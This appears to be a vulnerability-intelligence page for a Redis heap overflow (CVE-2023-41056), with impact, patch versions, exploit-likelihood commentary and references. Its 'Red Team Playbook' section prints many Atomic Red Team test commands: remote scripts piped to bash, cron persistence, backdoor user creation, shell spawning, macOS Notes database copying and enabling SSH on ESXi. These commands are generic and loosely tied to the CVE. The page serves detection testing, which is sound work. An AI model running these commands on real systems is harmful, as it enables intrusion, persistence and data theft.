CVE-2023-41056
Overview
This vulnerability is a heap overflow caused by improper handling of memory buffer resizing in Redis, an in-memory database with disk persistence. The root cause lies in an integer overflow during buffer size calculations, which leads to incorrect memory allocation and subsequent heap corruption. The affected component is the memory management subsystem responsible for resizing internal buffers.
Vulnerability Description
Redis is an in-memory database that persists on disk. Redis incorrectly handles resizing of memory buffers which can result in integer overflow that leads to heap overflow and potential remote code execution. This issue has been patched in version 7.0.15 and 7.2.4.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the Redis server, leveraging the heap overflow to overwrite critical memory structures. This can lead to full system compromise, data manipulation, or service disruption. The attack requires network access to the Redis service but no user interaction or privileges, as indicated by the CVSS vector (AV:N/AC:H/PR:N/UI:N). The high confidentiality, integrity, and availability impact ratings reflect the severity of potential outcomes.
Solution
Users should upgrade Redis to version 7.0.15 or later, or 7.2.4 or later, where the vulnerability has been patched. Detailed patch information and upgrade instructions are available in the Redis GitHub security advisory GHSA-xr47-pcmx-fq2m and release notes at https://github.com/redis/redis/releases/tag/7.0.15 and https://github.com/redis/redis/releases/tag/7.2.4. No workarounds are documented; applying the official patches is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Redis in-memory database arises from improper handling of memory buffer resizing, which can lead to an integer overflow. This flaw allows for a heap overflow condition, potentially enabling an attacker to execute arbitrary code remotely. The underlying issue stems from the way Redis allocates and manages memory buffers when resizing them, which can be exploited if an attacker manipulates the input data to trigger the overflow. This type of vulnerability is particularly dangerous as it can lead to severe consequences, including unauthorized access to sensitive data or complete control over the affected system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker might send specially crafted commands to the Redis server, which could exploit the buffer resizing mechanism. Given that Redis is often deployed in environments where it is accessible over the network, an attacker with network access could leverage this vulnerability to execute malicious code. Scenarios may include using the Redis service in a web application context, where user input is processed and potentially manipulated to trigger the overflow. The risk is compounded in environments where Redis is not adequately secured, allowing for easy access to the service.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Redis for critical data storage and processing. A successful exploitation could lead to unauthorized access to sensitive information, data corruption, or service disruption. The potential for remote code execution introduces a high level of business risk, as attackers could deploy malware, exfiltrate data, or use the compromised system as a launchpad for further attacks within the network. Given the CVSS score of 8.1, this vulnerability is classified as high severity, indicating that organizations must prioritize its remediation to protect their assets and maintain operational integrity.
To detect and mitigate this vulnerability, organizations should first ensure they are running the latest patched versions of Redis, specifically versions 7.0.15 and 7.2.4, which address the issue. Regularly updating software to the latest stable releases is a fundamental practice in cybersecurity hygiene. Additionally, implementing network security measures such as firewalls and intrusion detection systems can help monitor and restrict unauthorized access to Redis instances. Employing best practices for Redis configuration, such as binding the service to localhost or using authentication mechanisms, can further reduce the attack surface. Organizations should also conduct regular security assessments and penetration testing to identify potential vulnerabilities in their systems proactively.
In conclusion, the vulnerability in Redis presents a serious threat that can lead to significant operational and reputational damage if left unaddressed. Understanding the technical details, potential attack vectors, and real-world implications is crucial for organizations that utilize Redis. By implementing robust detection and mitigation strategies, businesses can safeguard their systems against exploitation and ensure the integrity of their data and services.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-41056, reflecting a growing likelihood of exploitation attempts targeting the Redis heap overflow vulnerability. Although no new exploit techniques or active campaigns have been identified by our telemetry, the upward trend in EPSS, now approaching the 92nd percentile, signals heightened attacker interest and potential preparatory activity. This shift underscores an elevated risk posture for organizations running vulnerable Redis versions, as the vulnerability’s remote code execution potential remains attractive for threat actors seeking to gain persistent access or disrupt critical services. While the absence of confirmed exploit deployments tempers immediate urgency, defenders should recognize that the increased EPSS score is an early warning indicator of possible exploitation escalation, warranting continued vigilance in monitoring and threat detection efforts.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Redis | Redis | All |
cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 38 |
cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 39 |
cpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
37%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}"
$fileExtensions = $fileExtensionsString -split ", "
New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null
Function Search-Files {
param (
[string]$directory
)
$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
$fileExtensions -contains $_.Extension.ToLower()
}
return $files
}
$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
$foundFilePaths = $foundFiles.FullName
Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"
Write-Host "Zip file created: $outputZip\data.zip"
} else {
Write-Host "No files found with the specified extensions."
}
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41056 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/redis/redis/security/advisories/GHSA-xr47-pcmx-fq2m |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/redis/redis/releases/tag/7.0.15 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/redis/redis/releases/tag/7.2.4 |
| lists.fedoraproject.org |
GitHub CVE
|
https://lists.fedoraproject.org/archives/list/[email protected]/message/3JTGQJ2YLYB24B72I5B5H32YIMPVSWIT/ |
| lists.fedoraproject.org |
GitHub CVE
|
https://lists.fedoraproject.org/archives/list/[email protected]/message/JTWHPLC3RI67VNRDOIXLDVNC5YMYBMQN/ |
| security.netapp.com |
GitHub CVE
|
https://security.netapp.com/advisory/ntap-20240223-0003/ |